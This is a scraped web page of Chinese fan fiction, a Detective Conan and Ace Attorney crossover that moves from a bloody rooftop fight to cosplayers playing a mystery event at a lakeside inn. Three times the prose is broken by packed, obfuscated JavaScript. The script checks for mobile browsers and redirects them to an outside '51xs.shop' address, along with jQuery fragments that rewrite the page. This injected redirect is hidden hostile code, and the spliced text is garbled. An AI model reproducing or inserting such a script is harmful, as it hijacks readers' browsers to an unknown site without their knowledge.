l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387823|121598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房的灯火就像骨牌一样次序地陷入黑暗。在这个时刻,灯光退却,黑暗蔓延,最终收束成一个点,收束在一处房顶。诸伏景光就要下楼了,然而心念一动,感到不妙,或者说干脆是感到耶稣复生。他回头。一片黝黑的东京城里,一个身影从暗淡的紫棕色天幕环绕里,在星光中直起腰。接下来,与其说是一个女人,一个人冲过来,还不如说是一只巨大的猛禽张开了翅膀——鹰猎时兔子看到的大概也是这样的画面。 其实诸伏景光反应很快。而且不迟疑。新的手刺,就是冲着拉娜唯的喉咙去的。他没有留手的余地了。但是唯已经不在乎了,她的打法已经彻底超出了人可以忍耐的范围。她推了诸伏景光的手一把,这让他的方向产生偏差,手刺歪了一下,卡在她的肩膀上。应该很痛,但她没反应,反手拔出之前卡在她骨缝里的刺,诸伏景光发誓自己看见它卷刃了,这种身体强度,简直不能想象——也没有机会给他想象。他觉得喉咙一痛,吐出血。拉娜唯压在他身上,卷了刃的手刺死死抵在他下巴上:“你是真的想要我死啊!”她说,她在发抖,“你再不说话我就要拿这个把你的皮剥下来当鼓敲。” 即便如此,她依旧得不到回答。 她看见血泡一股一股地从对方脖子上的伤口里涌出来。因为气管被人开了条缝,诸伏景光变得难以呼吸,张开嘴——都是徒劳。人真是脆弱,即便是在这样的混乱中,她的心底却好像有一刻清明:这个杀死了我的人就这样倒在这里。口中模糊不清,脸很烫。人类真是脆弱,挨了这样一刀,立刻变得不能抵抗了。但是——但是,为什么当你的血溅在我的脸上时却是我感到了深入骨髓的剧痛呢?你为什么要杀我呢?我明白,我当然明白。作为一个卧底搜查官,被长官命令逮捕,必要时可以杀死犯罪分子后,当然不会拍着桌子跟长官对垒,当然是来完成任务。一切如此自然,如此平常。可我还是要问,为什么是你?为什么是我?为什么?当然了,退一万步说,我有什么资格问你这些话? 饶是如此。她俯下身子,可以听见心跳声,还可以听见心跳声。她想抓住这个瞬间,余光却瞥见诸伏景光的脸,让她想骂人,都什么时候,你居然在笑,为什么,你在笑吗?为什么?这让她尴尬、焦急、烦躁、心乱如麻、痛不欲生——不该出现的拯救和不该出现的对决盘踞在漫长又一无所有的旅程,爱和恨都变得轻佻地像晨起草坪上的露水,接下来,今夜的第二颗子弹——穿透了她的肩膀。自她背后。 她被冲击的力量带的不由得前俯,不甘而无力地倒了下去。若叫外人乍一看,恐怕还以为是什么舍身挡子弹的浪漫故事。 在断联期间,其他两个躯壳不会死去。但他们会做什么,也不受任何控制——就好像强制打开了五把黑锁,于是只剩下了本能。应该说,那一刻连你自己都不知道的本能会笼罩你的灵魂,派遣你做出自己最想做的事。 发现舟桥佑希的时候她如亡魂一般游荡在楼道中,面对千万盏镁光灯视若无物,浑身沾着血,一路游荡,最后打开档案室的大门。人劝她冷静,警告她离开,还有添乱的记者,不一而足。她视若罔闻,抛之脑后。在混乱的档案室里翻找。人不明所以。直到她翻出一个人来。神经顿时紧绷,都叫她把人放下。 汐华真理依旧为呼吸过度所困。什么耳麦,侦探徽章,手机,全掉在纸张中,找不回来,也不知道他做了什么。舟桥佑希只在迷迷糊糊的脑海中,想到我要救他。她看见汐华真理嘴张着,能一眼看见淡粉色喉咙的深处。救他只要控制摄入气体体积就好了,可惜手边没有纸袋,没有塑料袋。用手捏紧鼻子捂嘴,总是漏气。她没想什么,俯下身体,用一位年轻使徒曾经用过的法子救人——头对头,嘴贴嘴,像在陆地上救一条活鱼。但是,她依旧在对方的嘴唇上施展她现在唯一能施展的神迹,一个暂时的,一个迟缓的——在这之后会跳出很多很多人指控她的行为,她全盘接受,反正那都是之后了。真空是艰涩粗粝的。她的手就罩在汐华真理的脖子上,喉结在手心里滚了一滚,方才知晓人活了。在此之前的世上只有三具躯体,两个人,一个灵魂。 方才已经过去了。一切都不可挽回。 子弹穿透她肩膀的时候,拉娜唯以为汐华真理脱离了自己的掌控,依旧做出了她本持有的意愿,叫来的人无外乎是探员先生或者他的同事。然而遭人反剪胳膊像杀鸡一眼拎起来的时候,她在脚下地面的影子里瞥见另一个人的轮廓,以及爆在她面前的血。血。血。或许还有胸前口袋里碎裂的手机。她回头。眨眨眼,看清是黑色的长风衣,礼帽,银色的长发,像瀑布般的月光;在她看清的一瞬间,这里什么都没有了,只剩下五把黑锁结结实实地挡在她面前:你的潜意识指使你叫来了琴酒。你嘲笑亚瑟是伪善的懦夫,实际上你也一样。一泼血,一场雪,一阵风,以及随着风前来的,神社、夜色、卷宗、灯光、他的眼睛、漫山遍野,洪水滔天,洪水滔天——你并没有准备牺牲。 她大笑起来。放声大笑。在泪水横飞的睫毛间的缝隙里,她好像伸出一只手去够,拼命地够那个杀了她,又死在她面前的,你是凶手,你是被我害死的,被我拯救,被我欺骗……你的脸上为什么有水?今夜明明没有雨。 拉娜唯并不清楚自己是怎么上车的,但是她就是上车了。上车以后发现自己喷过老气的福特其实就是自己的车,只是存了太久压根没有印象——特么的琴酒难怪老有人猜你长生不老,你的眼光和几十年前的我差不多。拉娜唯躺在后座上,懒得喷琴酒为什么要开她的车。百无聊赖伸手去够后备箱里的衣服。翻到自己准备的衣服,旧也比身上全是血,烂的好。 琴酒在开车,忽然感觉背后有条八爪鱼或者一具溺尸一般,溺尸伸出冰冷的湿漉漉黏糊糊的手,毫不客气往他的外套里钻。他脾气还没好到那种地步,表情没变,去拉她的手指。拉到他听见一声脆响,他停住了。与其说是不忍心,惊恐,或者更恶心一点,心疼,他是诧异。诧异波士力娇是不是实际上没有痛觉,十指连心也不是虚言,扯断了是挺疼的,扯断一根就够一般人冷汗涔涔说不出话,扯断两根够人疼昏过去了。哪怕是受过训练的也不至于这样一无所知。但拉娜唯就是逮住这个机会,从琴酒内兜里顺了一个打火机出来。打开车窗,有一搭没一搭地,烟雾飘了出去。 出于一贯的谨慎,琴酒警告她把烟头收拾干净。拉娜唯无耻一笑,车窗抛物,把烟头丢进窗外的滚滚车流里。到了这个时候,她却好像才明白诸伏景光脸上的水是什么。是眼泪。他又没有哭。所以不是他的。百般感情悲哀绝望交织,倒令她不知道从何哭起。迟钝的脑子想了一圈,想到对安室透说我哭了你幼驯染一脸,不由得狂笑。但是非常难听,倒令人毛骨悚然,是哭叫,近似嘶吼。她摸了摸全身,感觉摸哪里都疼。混乱不堪的头脑中,一个瞬间她无比清醒:这就是我发出的声音吗?是的,就是啊。 亚瑟坐在她身旁。你好啊。他微笑。伪善的懦夫来见你了。 他看见拉娜唯的脸面目全非地扭曲了起来。而东京终于来电,他无限慈悲地心想,就当是灯光太过强盛导致的刺激吧。 60.休憩段 1:00 那天论坛里,线下观影被舅舅党大揭底后,帖子被删了个差不多;但是你说官方是真心封锁消息吧,倒也不尽然。毕竟还有截图,还有二传,似乎没有被管理。众所周知删除不彻底等于彻底不删除,以至于变成了变相的宣传。就这么推波助澜,谣言传的抽象又搞笑,就在这群魔乱舞中,环球影城(死小版)紧张刺激的开放了。霓虹本土和大陆同天开放,几乎算是前所未有的及时。 好消息是重制版保住了它的晚节,没有在院线之前拉个大的让大家如鲠在喉,而是结结实实地开了两个盲盒。和观众猜测的顺序稍有出入,先打开的盲盒是安室透和汐华真理——这二位被开出红方还自带高绑定的时候,观众都哈哈大笑了起来——你俩红了?那组织存在的意义是? 当然也有一些创意十足的观众,十分机智,认为排除法可得其他没开的盲盒都是黑的。虽然阿莱塔黑这个主意听起来还是那么的异想天开,但大伙似乎不怎么在意。更多的观众已经喜滋滋的把红波黑苏抬进同人版了,希望他们可以竖着出来。 总而言之,TV就卡在了这里;卡在汐华真理脱下借来的检察官制服,露出警服,意气风发的时刻;卡在他大张旗鼓地展示自己自我认同的瞬间,背后庇佑着舟桥佑希和她怀抱的绫里春美;比起他的前辈,他的老师,他的引路人以及死绑的公安警察降谷零来说,他或许是一个更温和也更友好的孩子,给赤井秀一吃了一个不算硬也不软的亏;作为一个掺杂了一点点恶作剧成分的问候来说,谁也不能指责他什么;这个年轻人的鲜活的声音正透过徽章失真的电流声传来,正透过千万个转播屏幕直直看向你,而没有更多人知道你那小小的误会。是的,他虽然并不能成为你的下属,但很值得你交付信任。他看起来……前途无量。 TV在此戛然而止。 当然,在开放前,为了保证游玩体验,官方一定要对园区进行大致的描述。即便为了保证初次游玩的新鲜感不被干扰,也指出了路线和顺序——反正对着一堆乌漆嘛黑的区域标注1234还是挺抽象的。显然地图需要玩家探索,在随身终端上实时更新。在这样一片黑色的阴影中,玩家身处唯一的一个已解锁点,如同孤身攀援在大海中央的灯塔上,眺望一望无际的波涛。 电梯上行,内饰其实已经能看出些端倪,比方说红黄立方体的地毯,绿色的墙壁。浓墨重彩又透露着丝丝缕缕异常的内饰,正在论证所谓“这一切都是江户川柯南脑海中模拟推演真相”主题的真实性。值得夸奖的一点大概是沉浸效果不错,NPC一定受过训练认得清角色,见到coser会称呼角色名,有些相当敬业(或者说戏精)的NPC甚至会根据cos的角色给出相对应的反应,比方说看见贝尔摩德时欣喜若狂地上去要“演员克丽丝温亚德的签名”(他甚至分清了克丽丝和莎朗),见到工藤新一时则会好奇地询问对方为什么从大众媒体的眼下消失了这么久——可以说代入感十分优秀。 园区官方虽然同意了场内拍摄,但并未对直播做出明确许可。总归还是有,但是直播效果如何,谁也不清楚。电梯轿厢的外壳是透明的,然而没有观景范围,只能看到无尽的黑暗……和植物的根系。整个轿厢里所有人入场时领到的随身终端闷闷地一同震动,听起来有些吓人;点亮屏幕,只看到一行字。 “根源”。 一切的起始。一切的开端。 [区域已解锁] [电梯故障。它带着你们来到顶楼……这里没有一丝风。你听到了什么,并且祈祷这是幻觉。] 电影院的天台上的确没有一丝风,然而十分混乱。这是一场事先张扬的谋杀案,能够抢到第一批进入的观众,大多都对那个爆料贴的内容倒背如流,了如指掌。一群人挤在电梯中,听见NPC对大家说电梯故障,不安全,请大家老老实实呆在轿厢内不要乱动——肯定有人乱动,往外钻。 反正NPC拦了。你别管他拦的用不用心,反正人家真拦了,没拦住应该不能怪他(。然后冲出去的几个就美美被电然后送去出生点,独留电梯里相对老实点的玩家面面相觑。幸运的是,电梯内恰好有位开着直播的玩家。 【这咋的外头是毒圈啊,出去一个没一个???还是剧情杀???】 【剧情杀?难道是跑到没探索的区域会当场嗝屁吗,这还是死小吗致敬传奇调查员伦道夫卡特啊(?】 【……那要是跑到没探索的区域会嗝屁的话,怎么探索新区域?】 【刚才的根源是怎么解锁的?在电梯里?电梯是根源吗?】 【是电梯从一楼爬到顶楼时解锁的。难道是要堆命把区域跑完才能解锁吗……】 【……那这效率是不是太慢了。】 NPC尽职尽责地表演出了慌张的神情,打电话通知安保,摁电梯报警按钮,试图送所有人下楼;然而电梯仿佛卡死了,一动不动。接着,脚步声接近电梯轿厢,身穿警服的人上前来,同NPC交谈,话语中提起这一整栋楼即将被封禁。有玩家眼见看见对方脖子上挂的标牌,心中立刻明白,剧情已经开始了——“警察厅情报通信局 情报管理科”。 独属于大洋彼岸国度的行政制度吸引了她的目光,然而打断了她的是身后玩家忽然的狂热:有人激动地向前走几步,几乎要冲出轿厢;同时手忙脚乱地掏出手机,一顿狂拍。多么令人感动的热爱,姐姐你如果没在出贝尔摩德想必会更让人感同身受些。不过,电梯门毕竟合上了。佩戴运动式相机的主播即刻靠近,她也大大方方亮出屏幕。 “我绝对看到了赤井秀一。”她喘着气说。这么看来,贝尔摩德看见已经叛出组织的莱伊忽然跳脸,激动或许也情有可原。外界毕竟黑暗无边,看不清人脸;但即便有点城市的逆光,至少也能意识到抓拍画面中这个人身形体态如何鹤立鸡群的优秀。 但是电梯门毕竟关上了,没有回天台的机会。NPC抱歉地笑笑,说请各位乘电梯下楼回家,稍后会在各位的购票平台上进行退款,造成的不便请大家多多包涵——“但是我没有订今天的酒店呢。”人群中有人插嘴,众人纷纷侧目。怎么说呢,一个电梯里挤一个贝尔摩德一个阿莱塔,实在是给在场的普通玩家带来了不小的压力。这位阿莱塔歪一歪头,笑着说:“我想大家都没有订吧?考虑到这次游览的场次最早也是晚上十点,我相信,包括计划中的行程,都是通宵游玩。很多人的行李也存在入场处,没有订今晚的酒店。现在定的话,恐怕……” 她一抬眼,NPC即刻点点头:“……我打个电话问问老板。”他拨通电话,低声说了几句后,对大家点点头:“我们已经为大家准备了暂时落脚的旅馆。” 大家对视一眼,知道是踩中剧情了,心下了然。不知道谁复述了一遍:“旅馆?” 她的同行人小小声地和她咬耳朵:“怎么啦?” “一般不都说酒店之类的?旅馆,这个用词好老派。” 等到见到了实物,大家才觉得“旅馆”这个词的使用甚至不突兀,反而十分合适——因为它的确非常老派。甚至于,没有可以步行前去的路径。旅馆坐落在湖心,只能撑船来回。踏入酒店内,一开始电影院内的NPC当然要离场。他说:“有什么事可以联系旅馆的侍应生。无论什么时候,他都在一楼酒吧。他叫……哈维。” 大门到大厅只有一条道路。白色的窗帘由海风吹向天空,反倒像海浪上的一点白色泡沫。所有灯打开,整个大厅称得上是金碧辉煌。炎热的道路闪烁着,如镜子般的热气沉浮,在地毯上肆意流淌,就像幼年出门去郊外多云天气的稍稍低压感,还有蒙蒙雨水从湖里带出的水波。宽广的绿草坪上有野鹌鹑,鸽子,鹿,兔子,甚至——是看错了吗,一头野猪?——正自由自在地漫步,而哈维——早已站在门口。黑色的中长发里夹着淡绿色挑染,他穿着墨绿色格子的法兰绒西装,金色领带上镶嵌着三颗银色的星星和十字架。或许他的全副武装令人不免感到局促,然而他的背后,大厅中坐着的其他人又冲淡了这份庄重。 搞二次元的能有啥正经人.jpg 应当说大厅内部装潢依旧富丽,紫色天鹅绒安乐椅和蓝色的玻璃先一步为这里定下一模奇幻的色彩。空气中好像还有芳香四溢,那香气几乎凝为实质上的琥珀色树脂般,或者别的——在这样的地盘,见到一群盛装打扮的俊男靓女,彼此相辅相成,简直是颜狗天堂……如果能忽视他们谈话的内容的话。 虽说都是晚上十点的场次,但是上的电梯毕竟不一样,见到的NPC就不同,过剧情的速度也多少有点差别;比方说那一个轿厢里带个琴酒,NPC被他看了一眼马上就去安排住宿,一句话不敢多说,全程老实得像一只鹌鹑。谈及此处,皮下一度感情充沛的表示自己是一个与人为善的小女孩,看了一眼真的就是看一眼;而路过的别桌贝尔摩德听后放肆地留下笑声,同事随便一笑,劳模崩溃一夜。另一桌coser大批发,警五抱团出来玩还在电梯里碰上另外俩小女孩一个出黑羽快斗一个出工藤新一,NPC表示大楼封锁时,两伙人都相当有默契:Hagi,上!堂弟(?),上!于是从众多的毛米中窜出两条狗味比较重的,左边一个右边一个可劲搁那撒娇。NPC还刚好是个女生,给人家乐的电梯按钮都忘记摁了(。 虽然他们费了老大功夫,但说起来来的最慢的甚至不是到处撒娇那桌;来的最慢的竟然是泥砖菜盘的外交部,那桌的御剑非常还原,死也不肯坐电梯,也不好意思让大家陪他一起爬楼,于是在和NPC打过招呼后走楼梯。当然,剧情需要,每一层的入口都被黄黑相间的胶带封锁,他一路爬上顶楼,再被劝阻,离开大楼,此时也随便捡了一桌坐下。他到的时候,贝尔摩德正在给别人看她拍到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555268|121598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赤井秀一。有人有印象,有的人没有,扯来扯去没有结果;然而御剑怜侍却皱了皱眉:“……是赤井秀一?” 贝尔摩德分他一个眼神,御剑怜侍顿了顿:“我以为他叫安室透。我认错了吗?” “他长什么样子?” “金发,深色皮肤。就像牙琉检察官一样。”他举了个例子接着说,“我从楼梯口出来的时候,没有人拦我。我是在周围走了一圈,才被安室透拦下来,让我立刻离开。我想我没有认错?但话又说回来,我听说原作中安室透似乎假扮过赤井秀一?真让人搞不懂……” “先不提易容的事。你拍照了吗?他穿的什么衣服你还记得吗?”一旁一个毛利兰凑过来,“没准可以通过衣着定位TV剧集确认时间线呢。不过如果是自发的COS大概就不能拿来作为证据了吧。” “没来得及。不过我基本可以确定他是官方安排的coser。” “……真的?你怎么知道?” “巨帅。” 边上喝酒的差点没呛背过气去两个。这个御剑怜侍皮下应该挺开朗的,若只一笑把所有人整无语后才继续道:“而且他一上来就管我叫御剑检察官,劝阻也很专业很入戏,……声音都有点还原!应该是准备好的台词。” “所以说那个天台一个赤井秀一一个安室透?”一位宫野志保端着酒走过来,“而且——你的酒。” 没有出什么装扮的游客轻轻道谢接下来,宫野志保问她:“你刚才说自己看到了那个警察脖子上的挂牌对吧?警察厅?情报课?” “后面具体的职位我开始忘记了,也许等一下上网查的时候能记起来。”那个女生说,“但警察厅这三个字我保证没有记错,更不会忘记。” “那也就是说那个天台上赤井秀一不光和安室透在联合行动,或者别的什么,Whatever……反正他俩不光站在一起了,还在一起——呃,保护现场?”宫野志保斟酌着用词,“我觉得这太可怕了。他们两位,亮明身份还同框出现……我不能想象行动目标是什么,更难以想象那种画面。” “……我也很难想象那种画面。”人群里有人闷闷地接了一句,大家回头去看,确实有安室透满脸复杂,边上还刚好坐了一个赤井秀一——两人不约而同搬着凳子往边上一撤,恨不得跟对方划清界限,大伙纷纷高呼着又看一集转过头去。是的,就算重制版剧情已经部分亮明,安室透为红方,并且在TV版中已经被自己的后辈正式“自愿”与FBI接洽,然而即便如此,如此重量级的联合行动也令人精神一振。 难道真要在环球影城打大决战啊(。 大伙心中大概都是这么想的,有人问难道电来电去的意思是咱们会参与大决战,并且会死去活来?边上一个汐华真理安安静静冒出来一句:我打琴酒,真的假的?那个在电梯里把NPC吓得不敢吱声的琴酒从帽檐底下冷冰冰看他一眼,伸出手开始清点:我打赤井秀一,打降谷零,打江户川柯南,打汐华真理,打阿莱塔,打……他都数不完,边上的贝尔摩德早就笑得乐不可支,揽着琴酒的脖子安慰(嘲笑)。边上的人有样学样,全都挂过来,把人家好好的一个top killer挂的像个圣诞树。从人山人海中还能听见这个琴酒一声大喊:莱伊你个老鼠是来干嘛的!当然等工藤新一挂过来之后,圣诞树已经懒得喷了。 就在这一通混乱中,隔壁桌的舟桥佑希好奇地凑过来,听完前因后果后,随口说道:“……应该说是赤井秀一和降谷零吧?考虑到他们片场的名字也很多,代表的含义也各不相同。我应该没有说错吧?虽然我主要还是打泥砖菜盘,对你们的主线不算太熟悉……”她曲起手指敲了敲桌子,“因为警察也在啊。这至少可以证明在那一刻,卧底并不是卧底,而‘安室透’所持有的身份也变成了‘降谷零’吧。” 她下定这个结论的瞬间,整个大厅,或聊剧情,或闲谈,或交友,或拍照合影,或直播……等等等等,所有人的随身终端,同时震动。 这令的所有人不约而同地停止了手上的动作,四下一片寂静。而在这寂静中,却依旧有唯一的响动。哈维,那位侍应生,状似无事发生般,继续调配他的鸡尾酒。 “……血腥玛丽。”他垂下眼睛,手轻轻推了一把酒杯,酒杯顺着光滑的吧台表面滑行,内部的液体却没有一丝波动。酒杯不偏不倚地刚好停在顾客面前——舟桥佑希,才从刚才的死寂中回神,“哦,哦!对,谢谢你。” 她接过酒又放手,手足无措地开始掏终端。舟桥佑希的cos服比较繁复,找起来也有些麻烦。当然也有不麻烦的,已经点亮了屏幕。同样的新的字符出现在屏幕上。 “哈耳庇厄之恨”。 芝加哥没有海。牡蛎带来了海。 [区域已解锁] [何时才能触碰天空的一角。] 61.休憩段 00:45 “酒吧的营业时间结束了。” 哈维摇了摇铃铛,彬彬有礼地一欠身:“各位的随身终端上应该已经收到了房号以及密码,A座在旁边的电梯直通就可到达,B座请先在这边的电梯坐到二楼再穿过廊桥抵达B座……祝各位今夜,好梦。” 好梦是不可能的。谁家二次元十一点就睡觉。 自攀上三楼之后,大家或许察觉到环境(终于)变得不太合理。A座住宿的玩家尚且只是觉得壁画褪色,装修略显老气,B座的玩家则直面了混沌:一盆盆秋海棠、欧洲蕨被摔在地上,鲜花委地,玻璃展柜被打破,波西米亚水晶器具、手绘花瓶、金框镜子,都掷在墙上打碎。眼前分明是一片破败的景象。不过唯一令人感到安慰的是,至少官方没有丧心病狂到现在就安排NPC出来吓人,只是走路困难的话,还能忍受。这个旅馆的房间安排是围绕大客厅设置一层的客房,虽说听起来很像宿舍套间,但当面积足够大,客厅足以被当作会议室的时候,谁也都不能指摘什么了。 走入B-01套间,套间内共有三个客房。被分在一个套间的三人对视一眼,这莫非是什么女子组专场?主办方还贴心地将三个COSER分在了一起,阿莱塔、贝尔摩德,宫野志保,三个女人面面相觑,几乎前后脚推门。门后是客房不错,然而关上门后才发现自己背后的这扇门被装修成了暗门,也一时间不再能退回去;另有一扇门,它看起来似乎才是客房的正门。房间里暂时还没什么特别之处。阿莱塔动作最快,几乎是扫视一眼四周就第一个离开;其次是贝尔摩德,在房间中检查一番,确定没有猫腻后才离开。宫野志保在房间中停得最久,但好消息是,她从自己的回忆中检索出了这里的所属。 “……这是第一个剧场版的邮轮里的客房。”她喃喃自语,“所以我现在如果要贴近剧情的话,就应当去演奏厅寻找星野季沙,并且等待‘汐华真理’,或者江户川柯南出现。”于是电梯载着宫野志保去了地下一层,带着另外两名女士前往宴会厅。就算再没有反应过来,电梯门打开的时候也该能够被意识到了。欢闹声和交谈声在门打开的一瞬间扑面而来,裹挟着脂粉鲜花的香气,以及视野中戴着面具的人。 “我怎么不记得这艘船上举办的是化妆舞会或者别的什么派对。” 下到演奏厅时,宫野志保对着面前尽数佩戴白色面具的演出人员不由得愣神。她是追着看过剧场版的,记得清清楚楚,没有面具这一道具。还有一些人没有戴面具,但看衣着也清楚,这些是一同被投入这个场景的玩家。 宴会厅也是如此。到来的宾客全都戴着面具,不辨面目。在这之中,一些没有戴面具的玩家就更显眼了,COSER尤甚。虽说阿莱塔和贝尔摩德是从不同的电梯来的,但最后还是找到了一起。侍者自动把她们划作了同伴,递上一张菜单。说是菜单,翻过去,背面却写满密密麻麻的小字。 你好探员 (看了个开头阿莱塔就开始和贝尔摩德蛐蛐起来:你是探员!你才是探员!) 看到这封信的时候,我想你们已经抵达了SKALETURY旅馆。 我们决定将这里作为探员的临时休整区。很多工作的探员都非常喜欢这里的氛围,当然也有人不喜欢;真是众口难调。他们总是抱怨自己失眠多梦,甚至有些人联合起来声称做了相同的梦境。我想他们只是在为寻求酒精而捏造借口。 总而言之,祝你们度过愉快的休假。 向您问候 贝尔摩德看完以后,不确定地四周环视一圈:“这里显然不是旅馆的地界吧?” 阿莱塔不知道哪里顺了个小面包啃:“那当然。咱们现在显然是已经坠入梦境了,那些探员大概没有撒谎。哎你懂的,恐怖片经典听不懂人话的领导。” 贝尔摩德看她一眼:“不加恐怖片这个前提领导也听不懂人话。” 俩人一时无话,只一拍手,从对方眼里看到上班上断气的同病相怜。 另一边的演奏厅,宫野志保安安静静地坐在观众席中听了一曲;她知道琴有问题,但还拿不准什么时候指出来;或许也是直觉所致,她一时半会并不想主动和戴着面具的NPC交流——她虽然没有去过宴会厅,但猜测这里除开主要角色之外,没有名字的背景板会全都佩戴面具。剧情上可以诠释为演绎推理中为了避免信息过甚扰乱视听,活动策划方面则可以想见是减少支出的两全其美的法子。 换句话说,演绎推理中没戴面具的就是关键角色吗。 电影院那些接待的侍应生没戴面具是因为他们身在现实中,但现实和梦境,在旅馆中的分界线是什么?是损毁的室内装潢吗?旅馆越衰败,沉入梦境越深?以至于踏入房间,就走进了邮轮。假使分界线位于电影院,那么,哈维是……? “你刚才说什么?” 突如其来的声音吓了宫野志保一跳。她立刻回头,先看见修长的手指撑在她的椅背上,手臂肌肉紧实线条流利,她抬起双眼一路看去,看着面前这个人俯下身子,眯起眼睛,浅色的发梢透着光。她望着这双红色的眼睛,这双红色的眼睛静静地回望。她差一点张开嘴,叫出这位官方COSER所属的角色:汐华真理。但意识到自己或许是无意识地将潜意识里的疑问宣之于口,于是中途生生转了话头,生硬地辩解自己刚才没有说什么。 对方点点头,不好下结论说信没信,饶有兴致地另起话头:“我只是没想到你怎么会出现在这里?” 我为什么会出现在这里?被问到这么个问题,她先是懵了一下,才反应过来:对,我现在是宫野志保,也是雪莉。雪莉本身不是行动组成员,却忽然出现在这艘船上,实在是太奇怪了。而新TV既然表示说汐华真理就是降谷零的协作者的话,肯定也对组织的内部成员有所了解;于公于私,他都会主动调查雪莉的来意。这是顺理成章的事。 就是雪莉自己都不知道自己是来干嘛的。 好在这位宫野志保本身脑子转得很快,没有露怯,反而小脸一板,偏过头去:“我想来就来了。难道你觉得我不该在这里吗?” “怎么会呢?”被她不轻不重地呛回来,汐华真理微微笑道,“我的意思是没有许可的话,演奏厅不能随便进入吧。” ——对哦。所以说当时那个剧场版里,铃木园子都是甩钱把亲友塞进去的,汐华真理为什么能不吭不响地在演奏厅里守株待兔啊?难道这也算他大有来头的暗示吗?当时居然没人意识到,大家是笨蛋,我也是笨蛋。宫野志保想到这里,半推半就地问出心中的疑问:“那么你呢?你又为什么能进来玩?” 汐华真理眯着眼睛笑了:“我可不是来玩的。我是来上班的。” 他留下这一句话,忽然岔开话题提起琴声不对,音程不和谐。宫野志保心想这大概算是时机吧,说所有的弦都被调低了。也许说的很生硬,但她实在不知道说什么好。汐华真理意外地看了她一眼,不置可否:“真的吗?”于是像原作一般上台。宫野志保心想官方说不定真培训COSER拉小提琴了呢,虽然直接拔到职业水平不太可能,但说到底也只图个气氛——再说了刚才这人搁边上聊天的时候,帅的她掐了好几次大腿才绷住,长得够帅已经足以自己原谅预想中可能到来的锯木头了,意识到在接下来的环节里,自己还能看到此人女装,一股罪恶的笑容就爬上了她的脸颊。 汐华真理走上台,灯光刹那间暗了下来。一旁有人给他递上琴,就好像他才是主演一般。但当琴声响起,宫野志保慢慢地坐直了。 那不是《魔王》。 她不知道正在演奏的是什么曲目,甚至不知道那是什么乐器;它看起来像一把小竖琴,而汐华真理就坐在舞台的最高处,将它放在腿上演奏。而周围佩戴面具的演员则自行活动起来,好像在演绎一出无声默剧,这令宫野志保感到隐隐约约的不适。戴着面具的“女主演”被众人簇拥着,头上被佩戴上桂冠,另一个戴着面具的演员在她的额头划上一道痕迹,众人遂目送她登上去——这简直像梦一样;不,连梦也不会这样做。梦里不会有如此的扬尘酷热,不会有如此的压抑静默,灵魂被囚禁在波涛之间。 灯打开了。 汐华真理站在最顶点。上面的灯打下来,所有的乐器不管不顾地一起奏乐,在这纷乱的永恒的时刻,他宣布:“你说得对。琴弦的确有问题。我去取替换弦吧。”于是轻飘飘退到后台。宫野志保这才深呼吸,从方才梦魇般的沉寂中醒来,并且没有忘记观察——灯亮后,汐华真理手中持有的分明是小提琴。毫无疑问,那就是一把现代的,标准的小提琴。和方才的截然不同。宫野志保抖着手去翻终端。还好,还好,她心想。自己毕竟不是动漫里智慧过人冷静机敏的角色,饱读诗书阅卷无数,立即能够得到解答;唯一能做的一点儿努力就是及时录像。只可惜终端毕竟不是手机,没法登陆论坛,不能和大家一起讨论,不知道什么时候才能有结果。 汐华真理走后,面具人们又恢复了排练的状态。宫野志保有些拿不准自己该走还是该留,却在这时感觉到随身终端震了一下。她为此感到浑身战栗。 “恐惧的美德”。 河口无风,湖水春融。 [区域已解锁] [他要!他要为此付出代价的!不是献祭,是谋杀!谋杀!残忍的,懦弱的谋杀!] 从未有如此激烈,如此愤怒的描述。文字之中透露出的撕心裂肺令她为止一滞,几乎不能猜测这究竟隐藏了什么样的信息。 但灯光毕竟打开了。 绝大多数的玩家选择了到处找江户川柯南,紧跟男主的速度推剧情准没错的;再者,绝大多数人都收到了解锁新地点的提示,少不了跟过来看看情况。她听见铃木园子的声音,接着是剧场版的主角们,再然后是浩浩荡荡的玩家,一下子把这里挤了个水泄不通,人气把冰冷空旷的演奏厅点亮,她也因此得以回归安全的前海中,收回了过分发散的思维的触角。 她松了一口气。……大概。 然后她就感觉到一阵电击——来自于手腕上的手环。 我出局了? 宫野志保诧异万分,任由工作人员把她带入小黑屋等待复活;她的莫名出局还一度引起了周围玩家的混乱,不过也只有一瞬间。说实话,能像她一样提前判断出所处环境还和NPC产生单独对话已经属于超常发挥,很多人都是死死活活,对于边上人被扭送出局早已脱敏。 小黑屋其实就是旅馆大厅,既不小也不黑,还能整两口小酒歇会。偶尔有买观光票的从旁边的大会场出来,爽玩爽吃爽拍爽买后脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575387|121598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浮现的幸福快乐和小黑屋这边表情空白步履虚浮(还被电了)的解密玩家形成鲜明对比。 